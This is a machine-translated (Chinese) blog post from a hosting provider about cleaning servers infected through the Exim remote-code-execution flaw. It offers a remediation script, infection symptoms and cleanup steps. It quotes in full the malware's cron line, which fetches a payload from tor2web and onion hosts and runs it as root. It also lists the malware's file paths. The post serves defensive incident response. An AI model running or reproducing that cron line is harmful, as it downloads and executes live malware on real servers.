第一波受Exim漏洞影响。 治疗脚本

Exim的RCE的漏洞已经引起了轰动,并极大地破坏了全球系统管理员的神经。

在大规模感染之后(我们的许多客户使用Exim作为邮件服务器),他们迅速传播了一个脚本来自动解决问题。 该脚本远非理想,并且充满了次优的代码,但是它是一种快速的解决方案,可以避免在数百甚至数千台服务器上执行相同的操作。

它可以在运行Centos,RHEL,Debian,Ubuntu并安装了Exim邮件服务器的服务器上运行。

如何了解服务器被黑客入侵?


使用top命令检查正在运行的进程。
在受感染的服务器上,[kthrotlds]进程创建了100%的负载。 同样在cron计划程序中,添加了具有有限编辑权限的任务。

警报部分


我们遇到的所有感染事件都是同一类型,第二和第三波可能与它们不同-对于它们,可能有必要修改脚本。 在感染时,cron中的任务会不可避免地丢失,因此必须手动返回。 脚本“割断了肩膀”-即使在Centos 6中,也可以从测试库中毫不费力地将Exim更新为补丁版本。 该恶意软件实例位于内存中,因此必须在清洁表冠后立即重新启动服务器。

重要提示:该漏洞允许从根目录执行代码,这不能保证百分百恢复。 拥有对服务器的root访问权限,您几乎可以在该服务器上隐藏任何内容,因此几乎不可能找到它。 保证完全治愈服务器只能完全重新安装,但这远非总是可能的。 如果无法重新安装服务器,并且症状与所描述的相同,则可以尝试使用此脚本快速填补漏洞。

使用脚本,您需要自担风险,并且要冒风险:我们在许多服务器上测试了该脚本,但是,始终存在软件版本不兼容或配置冲突的风险。
我们的脚本还允许您仅治愈感染的一种可能的实现方式-可能现在已经存在其他方法,这些漏洞尚未被我们利用。

该脚本有什么作用?



1.更新Exim,重新安装curl。
2.检查服务器上的感染。

该脚本会分析调度程序的任务以查找是否存在可疑包含。
例如:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp 


2a。 如果/ etc文件夹中有病毒脚本的痕迹,请执行以下操作

  • 停止cron
  • 杀死由病毒脚本启动的进程
  • 杀死curl wget sh进程四次(按计划由病毒运行)
  • 从所有字母中清除邮件队列(受感染的消息很难与无害的邮件分开,因此您必须删除整个队列
  • 允许删除恶意脚本片段所在的文件:
     /etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp 
  • 删除这些文件
  • 删除/etc/rc.local中的自动启动作业
  • 从允许的ssh密钥中删除攻击者密钥
  • 运行cron
  • 并立即重启服务器

2b。 如果没有感染痕迹,脚本将退出。

细化


该病毒会删除所有cron计划程序作业。 因此,重新启动服务器后,需要重新配置它们或从备份中还原它们。

curl也被病毒感染,因此需要重新安装。

需要重新启动(脚本在处理后自动执行)-否则,恶意软件会存储在服务器的内存中,并且即使删除受感染的文件也会每30秒进行一次自我复制。

使用方法


传统上:在开始之前,请确保已准备好服务器数据的实际备份副本。

要运行脚本:


以具有root用户特权的用户身份通过​​ssh连接到服务器。 您还可以在ISPmanager-工具面板中使用Shell客户端。

在终端中,输入命令:

 wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh 

期望脚本完成并重新启动服务器。

重新引导后,检查服务器及其上托管的站点/应用程序的操作,重新配置任务或将其还原到备份中的cron。

最后


实际上,该脚本是用于使服务器恢复正常工作的临时解决方案 ,为了确保预防,最好的解决方案是切换到具有不再包含漏洞的操作系统版本的新服务器。

欢迎完成/处理脚本的所有建议。 如果您遇到其他感染症状-请显示出来。 大规模感染时的合作大大减少了消除这些感染所需的时间。

祝你好运

UPD1: 在github上添加
Malvari脚本的源代码已上传到此处,并已设法从受感染的服务器中提取了该源代码
UPD2:EPEL附带了Centos 6的4.92版,现在已从主要存储库安装了所有版本的脚本。 最初,该脚本从EPEL / testing下载了Centos 6的4.92。

Source: https://habr.com/ru/post/zh-CN455636/


All Articles